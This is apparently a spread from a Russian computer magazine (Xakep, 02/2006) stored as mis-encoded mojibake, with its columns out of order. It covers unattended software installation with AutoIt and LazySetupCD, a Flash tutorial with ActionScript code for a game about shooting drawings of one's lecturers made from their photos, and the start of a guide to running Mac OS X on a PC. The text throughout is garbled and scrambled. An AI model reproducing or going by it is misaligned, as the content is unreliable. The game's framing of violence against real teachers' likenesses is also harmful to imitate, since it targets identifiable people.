Ñêà÷àòü ãîòîâûå ñêðèïòû äëÿ àâòîìàòè÷åñêîé óñòàíîâêè ïðîãðàìì ÷åðåç AutoIt ìîæíî ïî àäðåñó: www.msfn.org/board/index.php? showtopic=20197 Íàïèñàíèå ñêðèïòîâ äëÿ AutoIt — çàäà÷à íåòðèâèàëüíàÿ, òàê êàê íàäî èçó÷àòü ñèíòàêñèñ è îïåðàòîðû ñêðèïòîâîãî ÿçûêà. Èíòåðôåéñ è ñïðàâêà ïðîãðàììû àíãëîÿçû÷íàÿ, ÷òî òîæå íå îòíîñèòñÿ ê ïëþñàì äëÿ ðóññêîÿçû÷íûõ ïîëüçîâàòåëåé. Ïðîãðàììà LazySetupCD îò ýòèõ íåäîñòàòêîâ èçáàâëåíà. Ýòà ïðîãðàììà ïîçâîëÿåò ñîçäàâàòü óñòàíîâî÷íûå äèñêè, ñ êîòîðûõ òû ñìîæåøü óñòàíàâëèâàòü ïðèëîæåíèÿ â àâòîìàòè÷åñêîì ðåæèìå, òî åñòü áåç ó÷àñòèÿ ïîëüçîâàòåëÿ, ïî çàðàíåå çàäàííîìó àëãîðèòìó. Äëÿ ñîñòàâëåíèÿ àëãîðèòìà óñòàíîâêè êàêîé-íèáóäü ïðîãðàììû íåîáõîäèìî óêàçàòü âñå äåéñòâèÿ, êîòîðûå äîëæåí ýìóëèðîâàòü LazySetupCD ïðè óñòàíîâêå. Ê òàêèì äåéñòâèÿì îòíîñÿòñÿ:

ÏÎÄÂÎÄÈÌ ÈÒÎÃÈ

4

Íàæàòü êíîïêó Ïîñòàâèòü/ñíÿòü ôëàæîê Óñòàíîâèòü ïåðåêëþ÷àòåëü Ââåñòè òåêñò Ýòèõ äåéñòâèé âïîëíå äîñòàòî÷íî, ÷òîáû ñîñòàâèòü àëãîðèòìû óñòàíîâêè äëÿ áîëüøèíñòâà ïðîãðàìì. Ñîñòàâëåíèå àëãîðèòìà îñóùåñòâëÿåòñÿ ÷åðåç èíòåðôåéñ LazySetupCD, íèêàêèõ ñêðèïòîâ ïèñàòü íå ïðèäåòñÿ. Êíîïêè, ôëàæêè è ïåðåêëþ÷àòåëè èäåíòèôèöèðóþòñÿ ïî èõ íàçâàíèþ. Òî åñòü, åñëè òû õî÷åøü, ÷òîáû LazySetupCD òðè ðàçà ïîäðÿä íàæàë êíîïêó «Next» ïðè óñòàíîâêå êàêîéíèáóäü ñîôòèíû, òî òåáå äîñòàòî÷íî òðè ðàçà äîáàâèòü äåéñòâèå «Íàæàòü êíîïêó Next».  AutoIt äëÿ òîãî ÷òîáû çàïðîãðàììèðîâàòü ïîäðÿä òðè íàæàòèÿ êíîïêè ñ îäíèì íàçâàíèåì, ïðèõîäèëîñü óêàçûâàòü ïðèçíàê îêíà, â êîòîðîì ðàñïîëàãàåòñÿ êíîïêà. LazySetupCD, â îòëè÷èå îò AutoIt, íå ïóòàåòñÿ â íàæàòèÿõ è äîëáèòü òðè ðàçà ïîäðÿä îäíó

1 2 3 4

Èòàê, ìû ðàññìîòðåëè òðè âîçìîæíûõ ìåòîäà àâòîìàòè÷åñêîé óñòàíîâêè ïðîãðàìì: 1 Ñ ïîìîùüþ êëþ÷åé è êîìàíäíûõ ôàéëîâ 2 Ñ ïîìîùüþ AutoIt 3 Ñ ïîìîùüþ LazySetupCD Ñàìûì áûñòðûì ìåòîäîì, áåçóñëîâíî, ÿâëÿåòñÿ ìåòîä óñòàíîâêè ÷åðåç êëþ÷è è êîìàíäíûå ôàéëû, òàê êàê â ýòîì ñëó÷àå íå ïîÿâëÿåòñÿ îêîí óñòàíîâêè è íå ðàñõîäóåòñÿ âðåìÿ íà èõ îòðèñîâêó. Îäíàêî ýòèì ìåòîäîì íå âñåãäà

è òó æå êíîïêó íå ñòàíåò. Äëÿ ââîäà òåêñòà (íàïðèìåð, ñåðèéíîãî íîìåðà) òåáå òîæå íå ïðèäåòñÿ íè÷åãî äîïîëíèòåëüíî óêàçûâàòü. Åñëè ïîñëå î÷åðåäíîãî íàæàòèÿ êíîïêè «Äàëåå» áóäåò ïðåäëîæåíî ââåñòè èìÿ ïîëüçîâàòåëÿ è ñåðèéíûé íîìåð, òî â LazySetupCD òåáå äîñòàòî÷íî áóäåò çàäàòü äåéñòâèå «Ââåñòè òåêñò». Êàæäûé òåêñòîâûé ôðàãìåíò áóäåò ââîäèòüñÿ â ïîðÿäêå òàáóëÿöèè â îêíå èíñòàëëÿòîðà. Ñ ïîìîùüþ LazySetupCD òû ñìîæåøü çàïèñàòü èíñòàëëÿòîðû âìåñòå ñ àëãîðèòìàìè óñòàíîâêè ñðàçó íà äèñê. Âìåñòå ñ LazySetupCD ïîñòàâëÿåòñÿ ìîäóëü autorun.exe, êîòîðûé çàïèñûâàåòñÿ íà äèñê è áóäåò ïðîâîäèòü àâòîèíñòàëë. Ñ åãî ïîìîùüþ òû ñìîæåøü âûáðàòü ïðîãðàììû, êîòîðûå õî÷åøü óñòàíîâèòü â àâòîìàòè÷åñêîì ðåæèìå. Äëÿ LazySetupCD òàêæå åñòü íàáîð ãîòîâûõ ñêðèïòîâ àâòîóñòàíîâêè, êîòîðûå ìîæíî ñêà÷àòü ñ ñàéòà autosetup.org.ru.

óäàåòñÿ äîñòè÷ü æåëàåìîãî ðåçóëüòàòà (íàïðèìåð, íå óäàñòñÿ ïîäîáðàòü íóæíûå êëþ÷è àâòîìàòè÷åñêîé óñòàíîâêè). Òîãäà íà ïîìîùü ïðèõîäÿò ýìóëÿòîðû äåéñòâèé ïîëüçîâàòåëÿ — AutoIt è LazySetupCD. ×òîáû ýôôåêòèâíî íà÷àòü èñïîëüçîâàòü AutoIt, ïðèäåòñÿ ïîòðàòèòü âðåìÿ íà èçó÷åíèå ñèíòàêñèñà ñïåöèàëüíîãî ñêðèïòîâîãî ÿçûêà. LazySetupCD ïðåäîñòàâëÿåò áîëåå ïðîñòîé è óäîáíûé èíòåðôåéñ äëÿ ñîñòàâëåíèÿ àëãîðèòìà óñòàíîâêè. ×åì ïîëüçîâàòüñÿ — ðåøàòü òåáå. BINARY YOUR’S z

026

XÀÊÅÐ 02 /86/ 06


PC_ZONE PC_ZONE ///// ISSUE

ÏÎÍÀÄÎÁßÒÑß ÔÎÒÊÈ ÒÂÎÈÕ ÏÐÅÏÎÄÎÂ, ÍÀÄ ÊÎÒÎÐÛÌÈ 028

ÒÛ ÕÎ×ÅØÜ ÍÀÄÐÓÃÀÒÜÑß XÀÊÅÐ 02 /86/ 06


TEXT ÑÈÄÅËÜÍÈÊÎÂ Ì.Þ. / SHNUROKMIKE@YANDEX.RU /

FLASH WEAPON FLASH ÄËß ÑÎÇÄÀÍÈß ÈÃÐ

ÊÀÊÎÉ ÑÒÓÄÅÍÒ ÍÅ ÌÅ×ÒÀË ÎÒÎÌÑÒÈÒÜ ÏÐÅÏÎÄÓ ÇÀ ÅÃÎ ÈÇËÈØÍÞÞ ÑÒÐÎÃÎÑÒÜ? È ÅÑËÈ ÐÅÀËÜÍÎ ÍÀ ÝÒÎÒ ØÀà ÌÀËÎ ÊÒÎ ÐÅØÀÅÒÑß, ÒÎ ÒÅÏÅÐÜ Ó ÒÅÁß ÏÎßÂÈËÀÑÜ ÂÎÇÌÎÆÍÎÑÒÜ ÑÄÅËÀÒÜ ÝÒÎ ÂÈÐÒÓÀËÜÍÎ

Äîáðîãî âðåìåíè ñóòîê, ÷èòàòåëü.  ýòîé ñòàòüå ÿ ðàññêàæó î òîì, êàê ñîçäàòü ïðîñòóþ èãðó íà Flash. Ñîáñòâåííî ãîâîðÿ, ÿ íå ñîáèðàþñü óãëóáëÿòüñÿ â òåîðèþ è ìó÷èòü ÷èòàòåëÿ íåíóæíûìè ñêðèïòàìè è îòâëå÷åííûìè äåéñòâèÿìè. Âñå çäåñü èçëîæåííîå áóäåò êàñàòüñÿ êîíêðåòíî äàííîãî ïðèìåðà. ß ñîáèðàþñü èçëîæèòü ìèíèìóì, êîòîðûé íåîáõîäèì äëÿ ïîëó÷åíèÿ ðåçóëüòàòà. ×òî íàì äëÿ ýòîãî íåîáõîäèìî? Âî-ïåðâûõ, Flash. Ñîáñòâåííî, åãî âåðñèÿ íå èìååò çíà÷åíèÿ. ß èñïîëüçîâàë Flash MX Professional 2004. Âî-âòîðûõ, åñëè ó òåáÿ íåò æåëàíèÿ îçâó÷èâàòü èãðó ñàìîñòîÿòåëüíî, òî íå ïëîõî áûëî áû ïðåïàðèðîâàòü êàêóþ-íèáóäü èãðó, ÷òîáû èçâëå÷ü èç íåå ôàéëû

Íà ñàìîì íèæíåì ñëîå ðèñóåì ôîí, ñîñòîÿùèé âñåãî èç äâóõ ïðÿìîóãîëüíèêîâ. Òàê, ÷òîáû îíè çàíèìàëè âñå ðàáî÷åå ïðîñòðàíñòâî. Ê ïðèìåðó, âíèçó çåëåíûé — òðàâà, à ñèíèé — íåáî. Íàçîâåì ýòîò ñëîé «ôîíîì». Íà ýòîì ñëîå ìîæíî ðàçìåñòèòü íåîáÿçàòåëüíûå îáúåêòû. Íàïðèìåð, movie clip — ñîëíöå. Äëÿ ýòîãî âíå îáëàñòè íàðèñîâàííûõ ïðÿìîóãîëüíèêîâ èçîáðàæàåì ñîëíöå. Âûäåëÿåì åãî, íàæèìàåì F8, âûáèðàåì movie clip è ïåðåìåùàåì â íóæíîå ìåñòî. Çàòåì, åñëè åñòü æåëàíèå, åãî ìîæíî àíèìèðîâàòü. Äëÿ ýòîãî, äâàæäû êëèêíóâ èçîáðàæåíèå ñîëíöà, ìû ïåðåõîäèì ê àíèìàöèè êëèïà. ß ðàññ÷èòûâàþ íà òî, ÷òî ÷èòàòåëü çíàêîì ñ îñíîâàìè ñîçäàíèÿ àíèìàöèè íà Flash. Åñëè íåò, òî ïðåäëàãàþ ÷èòàòåëþ ñàìîñòîÿòåëüíî

ñî çâóêàìè, êîòîðûå ìîãóò ïðèãîäèòüñÿ ïðè îçâó÷èâàíèè èãðû. ß èñïîëüçîâàë äðåâíþþ èãðóøêó The House of The Dead 2.  òâîåì ñëó÷àå ýòî ìîæåò áûòü ëþáîé äðóãîé ïîäõîäÿùèé ïàöèåíò. Òàêæå íå ïëîõî áûëî áû çàèìåòü ïëàíøåò. Òàêèå âîçìîæíîñòè, êàê çàâèñèìîñòü òîëùèíû ëèíèè îò íàæàòèÿ, ñèëüíî óïðîùàþò æèçíü ôëåøåðó. Íî äëÿ ðÿäîâîãî ïîëüçîâàòåëÿ ïëàíøåò ÿâëÿåòñÿ ñêîðåå ýêçîòèêîé. Åñëè ó òåáÿ êðåïêèå íåðâû, òî ìîæåøü ðèñîâàòü ìûøêîé. Ñëåäóþùèì øàãîì ê ñîçäàíèþ èãðû ìîæåì ñ÷èòàòü íàëè÷èå ôîòîê íåíàâèñòíûõ òåáå ïðåïîäîâ. Äëÿ ÷åãî îíè íóæíû, òû óçíàåøü ïîçæå. È ïîñëåäíèé èíãðåäèåíò íàøåãî êîêòåéëÿ — ýòî òâîå ëè÷íîå òåðïåíèå :). Íó âîò è âñå. Òåïåðü ìîæíî íà÷èíàòü.

ïîýêñïåðèìåíòèðîâàòü ñ ñîçäàíèåì êëþ÷åâûõ êàäðîâ íà Timeline ñ ïîìîùüþ êëàâèø F5, F6, F7. Ïðîñòåéøåþ àíèìàöèÿ êëèïà ìîæíî ñîçäàòü, âûáðàâ, ê ïðèìåðó, âòîðîé êàäð è íàæàâ F6. Áóäåò ñîçäàí êëþ÷åâîé êàäð.  íåì ìîæíî ñëåãêà èçìåíèòü ëó÷èêè ñîëíöà. Òàêèì îáðàçîì ìîæíî îôîðìèòü åùå ïàðó êàäðîâ. Çàòåì íàæèìàåì Scene 1, Ctrl+Enter è ñîçåðöàåì ñîòâîðåííîå, âîçìîæíî, âíîñèì ïîïðàâêè. ß ðàññ÷èòûâàþ íà ñîîáðàçèòåëüíîñòü ÷èòàòåëÿ è â ïîñëåäóþùåì îïèñàíèè áóäó èçáåãàòü òàêèõ ïîäðîáíûõ ðàçúÿñíåíèé. Òåïåðü ñîçäàåì íîâûé ñëîé — çäàíèå. ×òîáû ñëó÷àéíî íå íàðèñîâàòü íà ñëîå ôîí, íóæíî ïîâåñèòü íà íåãî çàìîê (êëèêíóòü òî÷êó, ïîñëåäíþþ îò èìåíè ñëîÿ). Òàêèì îáðàçîì, â äàëü-

íåéøåì íóæíî áóäåò çàïèðàòü âñå íåðåäàêòèðóåìûå â äàííûé ìîìåíò ñëîè. Íà íåì ðèñóåì çäàíèå âàøåãî ôàêóëüòåòà. Âàæíî, ÷òîáû îêíà çàíèìàëè áîëüøóþ ÷àñòü çäàíèÿ. Âåäü èìåííî â íèõ áóäóò ïîÿâëÿòüñÿ ïðåïîäû. Îêíà çäàíèé äîëæíû èìåòü ïðèìåðíî îäèíàêîâûé ðàçìåð. Åùå îäíî òðåáîâàíèå ê çäàíèþ: îêíà äîëæíû îñòàâàòüñÿ ïóñòûìè, òî åñòü èõ ìû íå çàëèâàåì. Òåïåðü ïîñìîòðèì, ÷òî ó íàñ ïîëó÷èëîñü. Ñîçäàåì ñëîè è ðàçìåùàåì èõ ïî ñëåäóþùåé èåðàðõèè (ñâåðõó âíèç): Çäàíèå(ñëîé óæå ñîçäàí) Ïðåïîä2 Êîìíàòà2 Ïðåïîä1 Êîìíàòà1 Ôîí (ñëîé óæå ñîçäàí)

ÈÍÒÐÎ

ÑÎÇÄÀÅÌ ÔÎÍÎÂÛÅ ÐÈÑÓÍÊÈ

ßÒÜÑß Ñ ÏÎÌÎÙÜÞ ÊÓÐÑÎÐÀ ÂËß ÎÒÑÒÐÅË ÏÐÅÏÎÄÎÂ ÁÓÄÅÒ ÎÑÓÙÅÑÒ XÀÊÅÐ 02 /86/ 06

029


PC_ZONE ///// ISSUE

ÎÁÚÅÊÒÛ ÄËß ÁÈÁËÈÎÒÅÊÈ

ÊÓÐÑÎÐ

Ñîçäàåì îáúåêòû äëÿ áèáëèîòåêè, îíè áóäóò èñïîëüçîâàíû äëÿ îôîðìëåíèÿ ôîíà. ×òîáû íå áûëî ïóòàíèöû, íóæíî ñîçäàòü ñàìûé íèæíèé ñëîé temp (íà íåì ìû áóäåì ðèñîâàòü îáúåêòû äëÿ áèáëèîòåêè). Òåïåðü ðèñóåì íà íåì êîìíàòó çà îêíîì (÷òîáû ñêðûòü äðóãèå ñëîè, íàæìè êâàäðàò ñïðàâà îò èìåíè ñëîÿ). Âûäåëÿåì åå, íàæèìàåì F8, òî åñòü ñîçäàåì movie clip — êîìíàòà1. Òåïåðü ýòîò îáúåêò íàõîäèòñÿ ó íàñ â áèáëèîòåêå (äëÿ åå ïðîñìîòðà íàæìè Ctrl+L). Äëÿ ðàçíîîáðàçèÿ ìîæíî ñîçäàòü åùå îäèí ðèñóíîê è òîæå ïîìåñòèòü åãî â áèáëèîòåêó, ïîñëå ÷åãî ðèñóíêè ìîæíî áóäåò óäàëèòü ñî ñëîÿ temp (îíè áóäóò õðàíèòüñÿ â áèáëèîòåêå). Ãîòîâûå ðèñóíêè ïåðåìåùàåì íà ñëîè êîìíàòà1 è êîìíàòà2, íåïîñðåäñòâåííî çà îêíàìè, â øàõìàòíîì ïîðÿäêå (òî åñòü ïî ïîðÿäêó: îäíî îêíî äîëæ-

íî çàïîëíÿòüñÿ êëèïîì íà ñëîå êîìíàòà1, äðóãîå — êëèïîì íà ñëîå êîìíàòà2. Ýòî î÷åíü âàæíî, òàê êàê âïîñëåäñòâèè îêíà áóäóò ñêðûâàòü ôèãóðû ïðåïîäîâ). Âîò è âñå, ÷òî êàñàåòñÿ îôîðìëåíèÿ ôîíà. Íàì ïîíàäîáÿòñÿ ôîòêè òâîèõ ïðåïîäîâ, íàä êîòîðûìè òû õî÷åøü íàäðóãàòüñÿ. Âûáèðàåì File->Import->Import to library… è äîáàâëÿåì â áèáëèîòåêó íåîáõîäèìûå ôîòêè. Ðàçìåùàåì íà ñëîå temp, íàä íèì ñîçäàåì âðåìåííûé ñëîé temp1. Ñ ïîìîùüþ òðàíñôîðìàöèè ïîäãîíÿåì ðàçìåð. Âîîáùå ãîâîðÿ, ìîæíî èñïîëüçîâàòü ôîòêè â êà÷åñòâå äâèæóùèõñÿ ìèøåíåé, ñîõðàíèâ èõ êàê movie clip â áèáëèîòåêå. Íî íà ðèñîâàííîì ôîíå ðåàëüíûå ôîòêè áóäóò ñìîòðåòüñÿ êàê-òî íååñòåñòâåííî. Ïîýòîìó ïðåäëàãàþ òåáå íàðèñîâàòü ïðåïîäîâ, çà îñíîâó âçÿâ

Îòñòðåë ïðåïîäîâ áóäåò îñóùåñòâëÿòüñÿ ñ ïîìîùüþ êóðñîðà, ïîýòîìó íå ïëîõî áûëî áû ïðèäàòü åìó íóæíóþ ôîðìó. Äåëàåòñÿ ýòî ñëåäóþùèì îáðàçîì. Âûäåëèâ ïåðâûé êàäð ñëîÿ code, âûáèðàåì ïàíåëü Actions-Frame è äîáàâëÿåì ñëåäóþùèé êîä:

Mouse.hide(); //Ñêðûòü êóðñîð startDrag(point,true);

ÑÎÇÄÀÍÈÅ ÀÍÈÌÀÖÈÈ ÏÅÐÑÎÍÀÆÅÉ

ÊÎÄÈÍÃ

Òåïåðü ìû ïîäîøëè ê ñàìîìó ïóòàíîìó ýòàïó. Íàïîìíþ ðàñïîëîæåíèå ñëîåâ: code çäàíèå ïðåïîä2 êîìíàòà2 ïðåïîä1 êîìíàòà1 ôîí temp Íó-ñ, íà÷íåì-ñ. Ñ ïîìîùüþ F5 ïðîäëèâàåì ïåðâûé êàäð êàæäîãî ñëîÿ äî 30-ãî êàäðà. Ïåðâóþ àíèìàöèþ ÿ ðàçáåðó ïîäðîáíî. Ïîñëåäóþùèå àíàëîãè÷íî òû ïðîäåëàåøü ñàìîñòîÿòåëüíî. Ïîìåùàåì íà ñëîé ïðåïîä1 button, òî åñòü èçîáðàæåíèå ïðåïîäàâàòåëÿ, ñîçäàííîå òîáîé ðàíåå. Íà ýòîì æå ñëîå ñîçäàåì êëþ÷åâîé êàäð, òî åñòü âûäåëÿåì 20-é êàäð è íàæèìàåì

Î÷åíü âàæíûì ìîìåíòîì ÿâëÿåòñÿ óñòàíîâëåíèå öåíòðà êóðñîðà. Äåëî â òîì, ÷òî ëåâûé âåðõíèé óãîë ÿâëÿåòñÿ óêàçóþùåé ÷àñòüþ êóðñîðà. Ýòî ìîæíî èñïðàâèòü ñëåäóþùèì îáðàçîì. Êëèêíåì íà ìèøåíü, çàòåì ïðàâûé êëèê, âûáèðàåì edit.  ïîëÿõ X:…, Y:… íóæíî ïîäîáðàòü òàêèå çíà÷åíèÿ, ÷òîáû êðåñò, îáîçíà÷àþùèé óêàçóþùóþ ÷àñòü êóðñîðà, ñîâïàäàë ñ öåíòðîì ìèøåíè. Êàæåòñÿ, ýòî âñå, ÷òî êàñàëîñü êóðñîðà. Íàæàâ Ctrl+Enter, ìîæíî îòòåñòèðîâàòü ïîëó÷åííóþ ôëåøêó.

F6. Èçîáðàæåíèå íóæíî ðàçìåñòèòü òàê, ÷òîáû åãî íå áûëî âèäíî èç-çà çäàíèÿ. Ùåëêàåì ïðàâîé êíîïêîé ìûøè íà ïåðâîì êàäðå è âûáèðàåì Create Motion Tween. Òåïåðü â 20-ì êàäðå óñòàíîâèì êîíå÷íîå ïîëîæåíèå àíèìèðîâàííîãî îáúåêòà (ïîñåðåäèíå îêíà). Ïîñëå 20-ãî êàäðà ñîçäàåì àíèìàöèþ, êîòîðàÿ ñîîòâåòñòâóåò ïîïàäàíèþ â ïðåïîäà. Ýòî ìîæåò áûòü âñå, ÷òî óãîäíî: îêíî, çàáðûçãàííîå êðîâüþ, èñêàëå÷åííûé ïðåïîä è ò.ä. Íà 19-ì êàäðå ñîçäàåì åùå îäèí êëþ÷åâîé êàäð. È ðàçìåùàåì â íåì ñëåäóþùèé êîä:

gotoAndPlay(70); // ïåðåõîä íà 70-é êàäð (ó ìåíÿ êîíå÷íûé êàäð — 301-é), ãäå 70 — ýòî êîíå÷íûé êàäð èãðû, â êîòî-

ðîì îñóùåñòâëÿåòñÿ ïðîâåðêà è ñëó÷àéíûé ïåðåõîä ïî êàäðàì (êîíå÷íî, åñëè ñîçäàâàòü àíèìàöèþ íà êàæäîå îêíî, òî ýòî áóäåò íå 70 êàäðîâ). Òåïåðü ðàçáåðåìñÿ ñî çâóêîì. Íà 20-ì êàäðå â Properties->Sound âûáèðàåì çâóê âûñòðåëà, êîòîðûé òû óæå äîáàâèë â áèáëèîòåêó. Ïî æåëàíèþ ìîæåøü ñîçäàòü êëþ÷åâîé 21-é êàäð (F6), â êîòîðîì âûáåðåøü çâóê, ñîîòâåòñòâóþùèé êðèêó ïðåïîäà. Òåïåðü òî÷íî òàê æå îôîðìëÿåì àíèìàöèþ äëÿ ñëîÿ ïðåïîä2, íî íà÷èíàÿ ñ 31-ãî êàäðà. Òî åñòü êëþ÷åâûå êàäðû ó íàñ áóäóò 49,50,51. Çàòåì, íà÷èíàÿ ñ 61-ãî êàäðà, àíèìèðóåì ñëîé ïðåïîä1. Òàêèì ñïîñîáîì ñîçäàåì àíèìàöèþ íà âñå îêíà. Ó ìåíÿ èõ ïîëó÷èëîñü äåñÿòü. Çíà÷èò, ïîñëåäíèé êàäð èãðû áóäåò 301-é.

Äàâàé òåïåðü ðàçáåðåìñÿ ñ ïåðåõîäîì íà ïîñëåäíèé êàäð. Íà÷íåì ñ ïåðâîé àíèìàöèè. Âûäåëÿåì êíîïêó, èçîáðàæàþùóþ ïðåïîäà, çàòåì âûäåëÿåì ïàíåëü ActionsFrame è ïèøåì ñöåíàðèé.

Òåïåðü íàì íåîáõîäèìî ïîñëå êàæäîãî ïðîìàõà èëè ïîïàäàíèÿ ïåðåõîäèòü íà êàäð ïðîâåðêè. Ïèøåì êîä íà 19-é êàäð (19-é êàäð ñîîòâåòñòâóåò ïðîìàõó):

on(press){ gotoAndPlay(20); }

 ñëó÷àå ïîïàäàíèÿ ìû â èòîãå ïðèäåì ê 30-ìó êàäðó, âîò åãî êîä:

Òî÷íî òàê æå äëÿ îñòàëüíûõ ïðåïîäîâ. Íàïðèìåð, äëÿ âòîðîé àíèìàöèè êîä áóäåò âûãëÿäåòü ñëåäóþùèì îáðàçîì:

on(press){ gotoAndPlay(50); }

030

îáâåäåííûå èõ ôîòîãðàôèè. Íàðèñîâàííûõ ïðåïîäîâ ñîõðàíÿåì â áèáëèîòåêå êàê êíîïêè (òî åñòü âìåñòî movie clip âûáèðàåì button) è óäàëÿåì ñî ñëîåâ (ñëîé temp1 òàêæå ìîæíî óäàëèòü). Òî÷íî òàê æå èìïîðòèðóåì â áèáëèîòåêó íóæíûå çâóêè èëè ìåëîäèè. Äîáàâèòü çâóê íà ñëîé ìîæíî ñ ïîìîùüþ Properties, âûáðàâ â âûïàäàþùåì ìåíþ Sound íóæíûé çâóê èç áèáëèîòåêè. Ìîìåíò íà÷àëà çâóêà ìîæíî çàäàòü, ñîçäàâ êëþ÷åâîé êàäð ñ ïîìîùüþ F6. È ïîñëåäíèé øòðèõ: ïîìåñòèì â áèáëèîòåêó êóðñîð — åãî ìîæíî ñäåëàòü â âèäå ìèøåíè. Íàçîâåì åãî Point è ðàçìåñòèì íà ñîçäàííîì ñàìîì âåðõíåì ñëîå code. Âûáðàâ êóðñîð, íà âêëàäêå Properties â ïîëå Instance Name ââåäåì åãî èìÿ — point. Íó âîò, â ïðèíöèïå, è âñå, ÷òî êàñàëîñü áèáëèîòåêè.

gotoAndPlay(301);

gotoAndPlay(301); Ñåé÷àñ âñå êàäðû ññûëàþòñÿ íà 301-é êàäð. Çäåñü íóæíî îôîðìèòü ñëó÷àéíûé ïåðåõîä. Äåëàåòñÿ ýòî ñëåäóþùèì îáðàçîì:

XÀÊÅÐ 02 /86/ 06


rezult=random(10);//ïðîèçâîëüíîå ÷èñëî îò 0 äî 9) if(rezult==0)gotoAndPlay(1); if(rezult==1)gotoAndPlay(31); /*....*/ if(rezult==9)gotoAndPlay(271);

Ñåé÷àñ âêðàòöå îáúÿñíþ, êàê óñëîæíèòü èãðó. Âî-ïåðâûõ, íàì íóæíû äâà òåêñòîâûõ ïîëÿ (Dynamic Text). Îäíî äëÿ âûâîäà ñ÷åòà — «text», è âòîðîå, ïîêàçûâàþùåå îñòàâøååñÿ âðåìÿ, — «text2». Äëÿ ýòèõ ïîëåé ñîçäàåì îòäåëüíûé ñàìûé âåðõíèé ñëîé. Âî-âòîðûõ, åñëè ìû ñîáèðàåìñÿ äåëàòü ñ÷åò÷èê, òî íåîáõîäèìà èíèöèàëèçàöèÿ. Ïîýòîìó ïåðâûé êàäð îñòàâëÿåì ïîä èíèöèàëèçàöèþ. Òî åñòü ïåðåõîä èç êîíå÷íîãî êàäðà îñóùåñòâëÿåòñÿ íà âòîðîé êàäð:

ÄÎÏÎËÍÅÍÈÅ

Âîîáùå ãîâîðÿ, íà ýòîì ìîæíî è çàêîí÷èòü. Íî ÿ áû ïîñîâåòîâàë ñäåëàòü ñ÷åò÷èê, ñ÷èòàþùèé ïîïàäàíèÿ. À ÷òîáû óñëîæíèòü èãðó, íàäî îãðàíè÷èòü åå ïî âðåìåíè.

if(rezult==0)gotoAndPlay(2); À â ïåðâîì, êëþ÷åâîì êàäðå, ðàçìåùàåì ñëåäóþùèé êîä:

time = new Date(); ht=time.getHours(); mt=time.getMinutes(); st=time.getSeconds(); init=st+(mt*60)+(ht*60*60); end=init+180;//180 — êîëè÷åñòâî ñåêóíä, îòâåäåííûõ ïîä èãðó number=0;// ñ÷åò = 0 text=number;// âûâîäèì íà÷àëüíûé ñ÷åò text2=180; // ïîêàçûâàåì îòâåäåííîå âðåìÿ Íåîáõîäèìî, ÷òîáû ïðè êàæäîì ïîïàäàíèè number óâåëè÷èâàëñÿ íà åäèíèöó. Òî åñòü äîáàâëÿåì êîä íà ïîïàäàíèå ïî ïðåïîäó:

on(press){ gotoAndPlay(20); number=number+1; } È òàê ñî âñåìè êíîïêàìè. Â êîíöå íóæíî äîðèñîâàòü äâà êàäðà, ñîîòâåòñòâóþùèå ïîáåäå è ïîðàæåíèþ. È ê êàæäîìó äîáàâèòü stop(); À òåïåðü, ÷òî êàñàåòñÿ ïðîâåðêè óñëîâèÿ â 300-ì êàäðå:

time2 = new Date(); // ñîçäàåì íîâûé âðåìåííîé îáúåêò ht2=time2.getHours(); mt2=time2.getMinutes(); st2=time2.getSeconds(); temp=st2+(mt2*60)+(ht2*60*60); text2=end-temp;// îñòàâøååñÿ âðåìÿ text=number; // ïîêàæåì ñ÷åò r=random(10); if((end-temp)<=0){ // ïðè óñëîâèè, ÷òî âðåìÿ âûøëî if(number>=40)gotoAndPlay(301); // è ñ÷åò áîëüøå ïîëîæåííîãî, ïåðåõîäèì íà êàäð ïîáåäû if(number<40)gotoAndPlay(302);// èëè ïîðàæåíèÿ } else{ if(r==0)gotoAndPlay(31); /*…*/ } Íó, òåïåðü òî÷íî âñå. Ïðèìåð èãðû ÿ âûëîæèë íà ñàéòå: www.geocities.com/cidelnikov BINARY YOUR’S z

XÀÊÅÐ 02 /86/ 06

031


PC_ZONE ///// ISSUE

TEXT ÝÌÈËÜ ÕÀÑÀÍ / EMILOVE@GMAIL.COM /

ÑÒÀÍÎÂÈÌÑß ÌÀÊÀÊÀÌÈ ÓÑÒÀÍÎÂÊÀ È ÎÏÒÈÌÈÇÀÖÈß MACOS X ÍÀ X86 PC-ÑÈÑÒÅÌÓ

ÒÅÁß ÄÎÑÒÀËÎ, ×ÒÎ ÂÑÅ ÂÄÐÓà ÍÀ×ÀËÈ ÃÎÂÎÐÈÒÜ, ÍÀÑÊÎËÜÊÎ ÊÐÓÒ ÌÀÊ, ÊÀÊ ÝÒÎ ÌÎÄÍÎ È ÓÄÎÁÍÎ? ÅÑËÈ ÒÛ ÐÀÁÎÒÀÅØÜ Ñ ÂÈÄÅÎ, ÇÂÓÊÎÌ ÈËÈ ÃÐÀÔÈÊÎÉ, ÒÎ ÌÀÊ ÄÎËÆÅÍ ÁÛÒÜ ÒÂÎÈÌ ÂÛÁÎÐÎÌ, ÒÀÊ ÊÀÊ ÎÍ ÑÎÇÄÀÂÀËÑß ÈÌÅÍÍÎ ÄËß ÝÒÈÕ ÖÅËÅÉ. ÆÀËÜ ÒÎËÜÊÎ, ×ÒÎ ÏÐÎÄÓÊÖÈß APPLE ÑÒÎÈÒ Î×ÅÍÜ ÄÎÐÎÃÎ È ÍÅ ÊÀÆÄÛÉ ÍÀ×ÈÍÀÞÙÈÉ ÐÅÆÈÑÑÅÐ, ÌÓÇÛÊÀÍÒ ÈËÈ ÄÈÇÀÉÍÅÐ ÑÌÎÆÅÒ ÂÛËÎÆÈÒÜ ÏÀÐÓ ÒÛÑß× ÇÅËÅÍÛÕ ÇÀ ÄÅÂÀÉÑ Ñ ÊÐÀÑÈÂÛÌ ßÁËÎÊÎÌ ÍÀÁÎÊÓ. ÍÎ ÍÅ ÐÀÑÑÒÐÀÈÂÀÉÑß, ÂÛÕÎÄ ÅÑÒÜ È ÌÛ ÏÎÌÎÆÅÌ ÒÅÁÅ ÅÃÎ ÎÒÛÑÊÀÒÜ. ÑÅÃÎÄÍß ÌÛ Ñ ÒÎÁÎÉ ÓÑÒÀÍÎÂÈÌ MAC OS X ÍÀ ÒÂÎÞ ÎÁÛ×ÍÓÞ PCÌÀØÈÍÓ.

ÍÅÌÍÎÃÎ ÏÐÅÄÛÑÒÎÐÈÈ

âîò ÷òî ãîâîðèò ìîé about

ÑÏÎÑÎÁ ÏÅÐÂÛÉ (CD IMAGE)

032

